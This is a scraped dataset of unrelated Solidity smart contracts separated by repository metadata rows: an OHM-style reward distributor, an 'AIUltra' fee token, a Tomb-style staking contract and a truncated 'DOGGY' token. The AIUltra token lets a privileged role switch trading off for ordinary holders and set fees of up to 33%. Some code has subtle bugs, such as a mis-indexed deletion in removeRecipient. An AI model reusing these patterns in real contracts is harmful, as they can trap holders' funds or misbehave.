bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable Sab;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _sab, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_sab != address(0));
Sab = IERC20(_sab);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute(uint _staked) external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate, _staked));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate, _staked));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate, uint _staked) public pure returns (uint) {
return _staked.mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient, uint _staked) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate, _staked);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rebaseRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rebaseRate <= 5000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rebaseRate
}));
emit LogAddRecipient(_recipient, _rebaseRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 112,071 | 11,180 |
1220b06c92d7ee66800ceb2c47b0a4c0773e30aec44f2a6b81d4fdf0d0296670
| 14,542 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/f6/f6A3660c4087a2656d7d460aF07c733C29A402A5_AIUltra.sol
| 3,667 | 13,933 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Dist {
function swap() external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract AIUltra is ERC20, Ownable {
// Events
event SetMaxWallet(uint256 maxWalletToken);
event SetFees(uint256 DevFee);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetIsTxLimitExempt(address holder, bool enabled);
event SetFeeReceiver(address DevWallet);
event StuckBalanceSent(uint256 amountETH, address recipient);
// Mappings
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
// Basic Contract Info
string constant _name = "AIUltra";
string constant _symbol = "AIUltra";
uint8 constant _decimals = 18;
uint256 _totalSupply = 10000000000 * (10 ** _decimals);
// Max wallet
uint256 public _maxWalletSize = (_totalSupply * 15) / 1000;
uint256 public _maxTxSize = (_totalSupply * 15) / 1000;
// Fee receiver
uint256 public DevFeeBuy = 0;
uint256 public MarketingFeeBuy = 30;
uint256 public LiquidityFeeBuy = 0;
uint256 public DevFeeSell = 0;
uint256 public MarketingFeeSell = 30;
uint256 public LiquidityFeeSell = 20;
uint256 public TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
// Fee receiver & Dead Wallet
address public DevWallet;
address public MarketingWallet;
address constant private DEAD = 0x000000000000000000000000000000000000dEaD;
// Router
IDEXRouter public router;
address public pair;
address public Liq = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;
address public dist;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000 * 3; // 0.3%
bool public isTradingEnabled = false;
address public tradingEnablerRole;
uint256 public tradingTimestamp;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor(address _dev, address _marketing, address _dist) Ownable(msg.sender) {
router = IDEXRouter(0x4C60051384bd2d3C01bfc845Cf5F4b44bcbE9de5);
_allowances[address(this)][address(router)] = type(uint256).max;
address _owner = owner;
DevWallet = _dev;
MarketingWallet = _marketing;
dist = _dist;
isFeeExempt[_owner] = true;
isTxLimitExempt[_owner] = true;
isFeeExempt[MarketingWallet] = true;
isTxLimitExempt[MarketingWallet] = true;
isFeeExempt[dist] = true;
isTxLimitExempt[dist] = true;
tradingEnablerRole = _owner;
tradingTimestamp = block.timestamp;
_balances[DevWallet] = _totalSupply * 100 / 100;
emit Transfer(address(0), DevWallet, _totalSupply * 100 / 100);
}
receive() external payable { }
// Basic Internal Functions
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
////////////////////////////////////////////////
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - (amount);
}
return _transferFrom(sender, recipient, amount);
}
function getPair() public onlyOwner {
pair = IDEXFactory(router.factory()).getPair(address(this), Liq);
if (pair == address(0)) {pair = IDEXFactory(router.factory()).createPair(address(this), Liq);}
}
function renounceTradingEnablerRole() public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
tradingEnablerRole = address(0x0);
}
function setIsTradingEnabled(bool _isTradingEnabled) public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
isTradingEnabled = _isTradingEnabled;
tradingTimestamp = block.timestamp;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount);}
require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingEnabled, "Not authorized to trade yet");
// Checks max transaction limit
if (sender != owner && sender != MarketingWallet && recipient != owner && recipient != DEAD && recipient != pair) {
require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
//Exchange tokens
if(shouldSwapBack()){swapBack();}
_balances[sender] = _balances[sender] - amount;
//Check if should Take Fee
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Internal Functions
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) {
feeAmount = amount * (DevFeeBuy + MarketingFeeBuy + LiquidityFeeBuy) / 1000;
} if (sender != pair && recipient == pair) {
feeAmount = amount * (DevFeeSell + MarketingFeeSell + LiquidityFeeSell) / 1000;
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)] + (feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount - (feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiq = balanceOf(address(this)) * (LiquidityFeeBuy + LiquidityFeeSell) / (2 * TotalBase);
uint256 amountToSwap = balanceOf(address(this)) - amountToLiq;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = Liq;
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountToSwap, 0, path, dist, block.timestamp + 5 minutes);
_balances[address(this)] = _balances[address(this)] - amountToLiq;
_balances[dist] = _balances[dist] + amountToLiq;
emit Transfer(address(this), dist, amountToLiq);
Dist(dist).swap();
}
// External Functions
function setMaxWalletAndTx(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000 && _maxTxSize_ >= _totalSupply / 1000, "Can't set MaxWallet or Tx below 0.1%");
_maxWalletSize = _maxWalletSize_;
_maxTxSize = _maxTxSize_;
emit SetMaxWallet(_maxWalletSize);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
emit SetIsFeeExempt(holder, exempt);
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
emit SetIsTxLimitExempt(holder, exempt);
}
function setFees(uint256 _DevFeeBuy, uint256 _MarketingFeeBuy, uint256 _LiquidityFeeBuy,
uint256 _DevFeeSell, uint256 _MarketingFeeSell, uint256 _LiquidityFeeSell) external onlyOwner {
require(_DevFeeBuy + _MarketingFeeBuy + _LiquidityFeeBuy <= 330 && _DevFeeSell + _MarketingFeeSell + _LiquidityFeeSell <= 330, "Total fees must be equal to or less than 33%");
DevFeeBuy = _DevFeeBuy;
MarketingFeeBuy = _MarketingFeeBuy;
LiquidityFeeBuy = _LiquidityFeeBuy;
DevFeeSell = _DevFeeSell;
MarketingFeeSell = _MarketingFeeSell;
LiquidityFeeSell = _LiquidityFeeSell;
TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
emit SetFees(DevFeeBuy);
}
function setFeeReceiver(address _DevWallet, address _MarketingWallet) external onlyOwner {
DevWallet = _DevWallet;
MarketingWallet = _MarketingWallet;
emit SetFeeReceiver(DevWallet);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
emit SetSwapBackSettings(swapEnabled, swapThreshold);
}
function initSwapBack() public onlyOwner {
swapBack();
}
// Stuck Balance Function
function ClearStuckBalance() external {
require(DevWallet == msg.sender, 'not dev wallet');
uint256 _bal = _balances[address(this)];
if (_bal > 0) {
_balances[DevWallet] = _balances[DevWallet] + _bal;
_balances[address(this)] = 0;
emit Transfer(address(this), DevWallet, _bal);
}
uint256 _ethBal = address(this).balance;
if (_ethBal > 0) {
payable(DevWallet).transfer(_ethBal);
emit StuckBalanceSent(_ethBal, DevWallet);
}
}
function withdrawToken(address _token) public {
ERC20(_token).transfer(DevWallet, ERC20(_token).balanceOf(address(this)));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 41,077 | 11,181 |
a65221e77bbd3a08282e4829fbc888e3e4229346164718fd4e4a0ca90ca18794
| 24,827 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a4/a4e265fd5de896f9260e4caf7cee814484615aa4_Sanctuary.sol
| 4,396 | 16,249 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring "a" not being zero, but the
// benefit is lost if "b" is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn"t hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getRunePrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Sanctuary is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public rune;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _rune,
IERC20 _share,
ITreasury _treasury) public notInitialized {
rune = _rune;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getRunePrice() external view returns (uint256) {
return treasury.getRunePrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
rune.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
rune.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(rune), "rune");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 312,429 | 11,182 |
dea8d33403b0785c19d0ffbb31c2d96b0c459cc0f9c91ff0ed158da1ba0eaa20
| 10,811 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/44/446bdebf942905e90f0953a097e33c3db7365a72_DOGGY.sol
| 2,606 | 10,337 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
